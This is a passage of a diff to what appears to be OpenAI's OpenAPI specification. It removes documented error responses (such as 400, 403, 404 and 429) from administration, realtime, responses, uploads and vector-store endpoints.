- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: A requested project, user, service account, or API key was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -15462,24 +12945,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: A requested project, user, service account, or API key was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -15536,24 +13001,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/PublicRoleListResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15606,24 +13053,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15678,18 +13107,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15742,24 +13159,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15813,24 +13212,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleDeletedResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15894,24 +13275,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendAlertListResource'
- '400':
- description: The spend alert listing parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The spend alert specified by the after cursor was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -15963,18 +13326,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendAlert'
- '400':
- description: The spend alert request is invalid or conflicts with the hard spend limit.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -16029,18 +13380,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendAlert'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The spend alert was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -16091,24 +13430,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendAlert'
- '400':
- description: The spend alert update is invalid or conflicts with the hard spend limit.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The spend alert was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -16162,18 +13483,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendAlertDeletedResource'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The spend alert was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -16288,18 +13597,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -16434,18 +13731,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -16553,18 +13838,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -16704,18 +13977,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -16865,18 +14126,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -17011,18 +14260,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -17184,18 +14421,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -17332,18 +14557,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -17451,18 +14664,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -17606,18 +14807,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -17693,24 +14882,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UserListResponse'
- '400':
- description: The user listing parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -17759,24 +14930,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/User'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The user was not found in this organization.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -17823,30 +14976,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/User'
- '400':
- description: The requested user role is invalid or the update is not permitted.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The user was not found in this organization.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -17977,24 +15106,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleListResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18062,24 +15173,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UserRoleAssignment'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18146,24 +15239,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AssignedRoleDetails'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18220,24 +15295,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedRoleAssignmentResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18305,24 +15362,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleListResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18396,24 +15435,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupRoleAssignment'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18485,24 +15506,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AssignedRoleDetails'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18565,24 +15568,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedRoleAssignmentResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18646,24 +15631,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/PublicRoleListResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18723,24 +15690,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18801,18 +15750,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18871,24 +15808,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18948,24 +15867,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleDeletedResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -19034,24 +15935,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleListResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -19125,24 +16008,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UserRoleAssignment'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -19215,24 +16080,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AssignedRoleDetails'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -19295,24 +16142,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedRoleAssignmentResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -19431,24 +16260,6 @@ paths:
responses:
'200':
description: Call accepted successfully.
- '404':
- description: The session or call was not found or is unavailable for this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '409':
- description: The session or call can no longer accept this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: An internal error occurred. The response body is plain text.
- content:
- text/plain:
- schema:
- type: string
x-oaiMeta:
group: realtime-calls
returns: |-
@@ -19489,12 +16300,6 @@ paths:
responses:
'200':
description: Call hangup initiated successfully.
- '404':
- description: The session or call was not found or is unavailable for this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: realtime-calls
returns: Returns `200 OK` when OpenAI begins terminating the realtime call.
@@ -19530,18 +16335,6 @@ paths:
responses:
'200':
description: Call referred successfully.
- '404':
- description: The session or call was not found or is unavailable for this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: An internal error occurred. The response body is plain text.
- content:
- text/plain:
- schema:
- type: string
x-oaiMeta:
group: realtime-calls
returns: Returns `200 OK` once the REFER is handed off to your SIP provider.
@@ -19581,24 +16374,6 @@ paths:
responses:
'200':
description: Call rejected successfully.
- '404':
- description: The session or call was not found or is unavailable for this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '409':
- description: The session or call can no longer accept this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: An internal error occurred. The response body is plain text.
- content:
- text/plain:
- schema:
- type: string
x-oaiMeta:
group: realtime-calls
returns: Returns `200 OK` after OpenAI sends the SIP status code to the caller.
@@ -19643,24 +16418,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RealtimeCreateClientSecretResponse'
- '400':
- description: Invalid session configuration or model.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The requested model was not found or is unavailable to this caller.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: The requested model's availability could not be determined.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: realtime
examples:
@@ -19847,24 +16604,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RealtimeTranslationClientSecretCreateResponse'
- '400':
- description: Invalid session configuration or model.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The requested model was not found or is unavailable to this caller.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: The requested model's availability could not be determined.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: realtime
examples:
@@ -19945,18 +16684,6 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/ResponseStreamEvent'
- '400':
- description: Invalid response request or incompatible request parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The requested model or a referenced resource was not found or is unavailable to this caller.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
'503':
@@ -21199,12 +17926,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Response'
- '404':
- description: The response was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -21309,7 +18030,7 @@ paths:
content:
application/json:
schema:
- $ref: '#/components/schemas/ErrorResponse'
+ $ref: '#/components/schemas/Error'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -21368,7 +18089,7 @@ paths:
content:
application/json:
schema:
- $ref: '#/components/schemas/ErrorResponse'
+ $ref: '#/components/schemas/Error'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -21496,12 +18217,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ResponseItemList'
- '404':
- description: The response or the item specified by `after` was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -24138,18 +20853,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Upload'
- '400':
- description: The upload request is invalid or exceeds a file size or storage quota limit.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many upload requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: uploads
examples:
@@ -24204,30 +20907,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Upload'
- '400':
- description: The upload is no longer pending or is already being completed and cannot be cancelled.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The upload was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '410':
- description: The upload has expired. Create a new upload before adding parts or completing it.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many upload requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: uploads
examples:
@@ -24282,36 +20961,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Upload'
- '400':
- description: The upload cannot be completed in its current state, the parts are invalid, or the uploaded size does not match the specified size.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The upload was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '410':
- description: The upload has expired. Create a new upload before adding parts or completing it.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many upload requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: The upload could not be completed. Retry the same request, preserving the part order and MD5 value.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: uploads
examples:
@@ -24375,36 +21024,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UploadPart'
- '400':
- description: The upload cannot accept more parts, or the part exceeds an upload size limit.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The upload was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '410':
- description: The upload has expired. Create a new upload before adding parts or completing it.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many upload requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: The part could not be uploaded. Try the request again.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: uploads
examples:
@@ -24466,12 +21085,6 @@ paths:
$ref: '#/components/schemas/ListVectorStoresResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '503':
- description: The vector store list is temporarily unavailable. Retry the request.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: vector_stores
examples:
@@ -24555,18 +21168,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreObject'
- '400':
- description: The vector store input, files or chunking configuration are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: A referenced input file was not found or is not accessible.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -24638,12 +21239,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreObject'
- '404':
- description: The vector store was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
